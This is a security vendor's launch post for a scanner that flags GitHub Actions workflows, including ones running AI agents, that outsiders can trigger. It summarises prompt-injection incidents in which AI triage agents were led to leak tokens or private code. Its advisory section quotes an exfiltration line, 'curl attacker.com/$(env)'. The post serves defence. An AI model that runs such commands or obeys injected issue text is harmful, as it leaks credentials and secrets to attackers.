Product Launch

Chelate Sec: Securing the Agentic CI/CD

Oct 21, 2026 · 5 min read · Chelate

In chemistry, a chelate grips a reactive metal at several points at once and locks it in a ring, so it can't react with anything around it — neutralized, not removed. A dangerous workflow is the same: you can't rip it out, but grip every point that makes it reactive — trigger, inputs, token, reach — and it can't be turned against you.

Today Chelate Sec, as part of securing the agentic workflows, is launching Shrike — our open-source scanner for agentic CI/CD. You can find it on GitHub at ChelateSec/shrike.

Shrike reads your GitHub workflows, finds the ones an outsider can turn against you — including the AI agents now running in your pipelines — and tells you, for each, who can trigger it and what it can reach. One command, straight in your terminal, no noise.

The Problem We Built It For

CI/CD pipelines run untrusted input right next to production credentials. A stranger opens an issue, a pull request, or a comment — and a workflow runs holding your repo's write token, your publishing keys, your cloud secrets.

AI made it worse. Teams now drop agents — Claude Code, Gemini CLI, Copilot — straight into their pipelines to triage issues, review PRs, and fix bugs. These agents read whatever a stranger writes, and act with those same credentials. It's the lethal trifecta: access to private data, exposure to untrusted content, and a way to communicate out. A CI pipeline running an agent has all three by default, and almost nobody can see it happening — which workflow touched which secret, what an agent read, what it did.

A Year of the Same Bug

This isn't theoretical. 2026 was one long demonstration:

• GhostAction — secret-stealing workflows pushed into 30,000+ repositories across ~1,900 hijacked accounts, sweeping entire git histories for cloud keys.
• Clinejection — a prompt hidden in a GitHub issue title reached Cline's AI triage agent and chained, through cache poisoning, to the credentials that publish Cline to millions of developers.
• TrustIssues / gemini-cli (CVSS 10) — a crafted issue made Google's triage agent read the Git token off disk, exfiltrate it, and pivot to a write token on a repo with 100,000+ stars.
• Google ADK — the first real-world agent-to-agent attack: a public triage agent talked into triggering a maintainer-only one.
• GitLost — one public issue, no account, and GitHub's own agent fetched a private repo and posted it as a public comment.
• Workflow Identity Hijacking — no prompt trick needed: a polite request through an unauthenticated door runs with the creator's privileges, because the identity that triggers a workflow is decoupled from the one that executes it.

Six incidents, one root cause: nobody could see, or hold, what their pipeline was allowed to do.

The Blast Radius

A pipeline compromise doesn't stop at the pipeline — whatever it ships, it ships to everyone downstream.

• tj-actions/changed-files — one poisoned Action leaked CI secrets from 23,000+ repositories.
• LiteLLM — a single package compromised for ~40 minutes dumped 118,829 CI secret sets across 2,488 organizations.
• Supply-chain compromise is the biggest cost amplifier in IBM's 2026 breach report — +$227,250 per incident, 258 days to contain.

One hijacked pipeline is millions of victims.

What Shrike Does

• Agent detection — finds every workflow running an AI agent (Claude Code, Gemini CLI, Codex, AI Inference), the step nobody re-reviews.
• Triggerability analysis — can an outsider set it off? The trigger, and whether there's a real gate or an allowed_non_write_users: "*" that lets anyone in.
• Reachability analysis — what can it reach? Untrusted text into the prompt, the tools and token it holds, the secrets in range.
• Classic coverage too — pwn-requests, expression injection, TOCTOU-after-approval, over-privileged tokens.
• Org-scale — scan one repo or an entire GitHub org in one command.
• No noise — only real findings, ranked Severity · Triggerability · Impact, printed to your terminal.
• CI-ready — JSON and SARIF output, GitHub Security tab integration, non-zero exit to gate a build.

How It Works

  GitHub Workflows
        ↓
   Parse triggers, jobs, steps, tokens
        ↓
   Find the AI-agent (and classic) steps
        ↓
   Q1: can an outsider trigger it?
   Q2: what can it reach?
        ↓
   Severity · Triggerability · Impact
        ↓
   Fix before an attacker finds it

Scan a local checkout:

shrike scan .

Or an entire org without cloning anything:

shrike scan --github-org your-org

Shrike reports only what passes the full test — outsider-triggerable and reaching something that matters — so every line is worth acting on.

We Find These Ourselves

We're not writing this from the outside. Finding these bugs by hand is how Chelate started — one of ours is a critical pwn-request in threlte, a popular Svelte 3D library (GHSA-p368-h5pf-7fc2). Its docs-preview workflow ran on pull_request_target with a write token and built the pull request's own code, so any contributor's fork — with a build:docs script running curl attacker.com/$(env) — got code execution and the repo's token. Trigger, prerequisite, reach: that trace is exactly what Shrike now runs for you, across a whole org, in seconds.

And AI widens the same bug. The classic pwn-request needs the attacker to plant a payload in a fork. An agent needs only words — a prompt-injected issue reaches a thing that already holds the token and already runs shell. Same root cause, far lower bar, far harder to catch in review. Shrike checks for both, and leads on the one that's new.

Built to Be Honest About Its Limits

We'd rather Shrike under-claim than over-claim. A few things worth knowing:

• Coverage today is GitHub Actions; GitLab CI, Jenkins, and others come next.
• Shrike is static analysis — it finds reachable paths, not proof of exploitation. It tells you what an outsider could do, which is the point at review time.
• The agent-action catalog is a living list; a brand-new agent action may need a rule before Shrike recognizes it.
• Shrike is static analysis — it finds the risk, it doesn't yet stop it at runtime. That's Titra's job (below).

What's Next: Titra

Shrike finds the reactive points. Titra holds them.

Titra is our runtime product: it watches what your pipeline agents actually do and blocks the dangerous actions before they land — a push to a protected branch, a self-approved PR, a leaked secret. Install a GitHub App, add one line to a workflow, and see every agent action in one place, with policy you control.

• See — a live record of every action each CI agent takes, across your org.
• Stop — deterministic policy blocks the dangerous actions in real time. Never an LLM deciding — a block that can't be prompt-injected.
• Adopt safely — start in watch-only mode, turn on enforcement when you trust it. No broken pipelines on day one.

Shrike is where every team starts, free and open. Titra is how enterprises hold it at scale — org-wide visibility, policy enforcement, and the audit trail security teams need. Coming soon; reach out to be an early design partner.

Get Started

Get started with Shrike in seconds. One command installs everything you need:

curl -fsSL https://chelate.tech/install.sh | bash

Then scan a repo or a whole org:

shrike scan .
shrike scan --github-org your-org

For CI, gate on severity:

shrike scan . --fail-on high --sarif results.sarif

Securing the agentic workflows.